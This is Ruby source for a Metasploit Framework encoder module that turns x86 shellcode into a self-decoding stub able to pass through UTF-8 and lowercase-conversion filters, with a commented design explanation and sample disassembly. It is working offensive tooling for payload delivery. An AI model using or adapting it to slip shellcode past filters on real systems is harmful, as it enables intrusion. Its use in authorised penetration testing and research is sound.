## # $Id:$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf module Encoders module X86 # # This encoder is pretty lame. It has a huge size overhead. Alas, it # does produce tolower safe and UTF8 safe payloads. The decoder itself is # split into three distinct chunks. The first chunk is the header, the second # chunk is the inline-decoding, and the third chunk is where the decoded data # is persisted. Unlike most encoders, this encoder does not use any branch # instructions and instead runs into the decoded data after it completes due # to the fact that it is decoding inline. # # The basic approach taken to implement the encoder is this. First, the # decoder header assumes that a register (ecx) points to the first byte # in the decoder stub. It then proceeds to calculate the offset to the # third chunk of the decoder (the persisted data) and updates the context # register (ecx) to point to the first byte of the third chunk of the decoder # stub. Following that, the second chunk of the decoder begins executing # which uses a series of add or subtract operations on the third chunk of the # decoder to produce the actual opcodes of the encoded payload. For each four # bytes of encoded data, a sub or add instruction is used in combination with # complementary information stored in the third chunk of the decoder. # # For example, in order to produce 0x01fdfeff one could do the following: # # 0x5e096f7c # - 0x5c0b707d # ------------ # 0x01fdfeff # # After all of the inline decoding operations complete, the payload should # simply fall through into the now-decoded payload that was stored in the # third chunk of the decoder. # # The following is an example encoding of: # # "\xcc\x41\xcc\x41\xcc\x41\xcc\x41\xff\xfe\xfd\x01\xff\x02\x82\x4c" # # 00000000 6A04 push byte +0x4 # 00000002 6B3C240B imul edi,[esp],byte +0xb # 00000006 60 pusha # 00000007 030C24 add ecx,[esp] # 0000000A 6A11 push byte +0x11 # 0000000C 030C24 add ecx,[esp] # 0000000F 6A04 push byte +0x4 # 00000011 68640F5F31 push dword 0x315f0f64 # 00000016 5F pop edi # 00000017 0139 add [ecx],edi # 00000019 030C24 add ecx,[esp] # 0000001C 6870326B32 push dword 0x326b3270 # 00000021 5F pop edi # 00000022 0139 add [ecx],edi # 00000024 030C24 add ecx,[esp] # 00000027 687D700B5C push dword 0x5c0b707d # 0000002C 5F pop edi # 0000002D 2939 sub [ecx],edi # 0000002F 030C24 add ecx,[esp] # 00000032 6804317F32 push dword 0x327f3104 # 00000037 5F pop edi # 00000038 2939 sub [ecx],edi # 0000003A 030C24 add ecx,[esp] # 0000003D 68326D105C push dword 0x5c106d32 # 00000042 0F610F punpcklwd mm1,[edi] # 00000045 7C6F jl 0xb6 # 00000047 095E03 or [esi+0x3],ebx # 0000004A 3401 xor al,0x1 # 0000004C 7F db 0x7F # class AvoidUtf8 < Msf::Encoder # This encoder has a manual ranking because it should only be used in cases # where information has been explicitly supplied, like the BufferOffset. Rank = ManualRanking def initialize super( 'Name' => 'Avoid UTF8/tolower', 'Version' => '$Revision$', 'Description' => 'UTF8 Safe, tolower Safe Encoder', 'Author' => 'skape', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe, 'Decoder' => { 'KeySize' => 4, 'BlockSize' => 4, }) end # # Returns the decoder stub that is adjusted for the size of # the buffer being encoded # def decoder_stub(state) len = ((state.buf.length + 3) & (~0x3)) / 4 # Grab the number of additional bytes that we need to adjust by in order # to get the context register to point immediately after the stub header off = (datastore['BufferOffset'] || 0).to_i decoder = "\x6a" + [len].pack('C') + # push len "\x6b\x3c\x24\x0b" + # imul 0xb "\x60" + # pusha "\x03\x0c\x24" + # add ecx, [esp] "\x6a" + [0x11+off].pack('C') + # push byte 0x11 + off "\x03\x0c\x24" + # add ecx, [esp] "\x6a\x04" # push byte 0x4 # encoded sled state.context = '' return decoder end def encode_block(state, block) buf = try_add(state, block) if (buf.nil?) buf = try_sub(state, block) end if (buf.nil?) raise BadcharError.new(state.encoded, 0, 0, 0) end buf end # # Appends the encoded context portion. # def encode_end(state) state.encoded += state.context end # # Generate the instructions that will be used to produce a valid # block after decoding using the sub instruction in conjunction with # two UTF8/tolower safe values. # def try_sub(state, block) buf = "\x68"; vbuf = '' ctx = '' carry = 0 block.each_byte { |b| # It's impossible to reach 0x7f, 0x80, 0x81 with two subs # of a value that is < 0x80 without NULLs. return nil if (b == 0x80 or b == 0x81 or b == 0x7f) x = 0 y = 0 attempts = 0 prev_carry = carry begin carry = prev_carry if (b > 0x80) diff = 0x100 - b y = rand(0x80 - diff - 1).to_i + 1 x = (0x100 - (b - y + carry)) carry = 1 else diff = 0x7f - b x = rand(diff - 1) + 1 y = (b + x + carry) & 0xff carry = 0 end attempts += 1 # Lame. return nil if (attempts > 512) end while (is_badchar(state, x) or is_badchar(state, y)) vbuf += [x].pack('C') ctx += [y].pack('C') } buf += vbuf + "\x5f\x29\x39\x03\x0c\x24" state.context += ctx return buf end # # Generate instructions that will be used to produce a valid block after # decoding using the add instruction in conjunction with two UTF8/tolower # safe values. # def try_add(state, block) buf = "\x68" vbuf = '' ctx = '' block.each_byte { |b| # It's impossible to produce 0xff and 0x01 using two non-NULL, # tolower safe, and UTF8 safe values. return nil if (b == 0xff or b == 0x01 or b == 0x00) attempts = 0 begin xv = rand(b - 1) + 1 attempts += 1 # Lame. return nil if (attempts > 512) end while (is_badchar(state, xv) or is_badchar(state, b - xv)) vbuf += [xv].pack('C') ctx += [b - xv].pack('C') } buf += vbuf + "\x5f\x01\x39\x03\x0c\x24" state.context += ctx return buf end def is_badchar(state, val) ((val >= 0x41 and val <= 0x5a) or val >= 0x80) or Rex::Text.badchar_index([val].pack('C'), state.badchars) end end end end end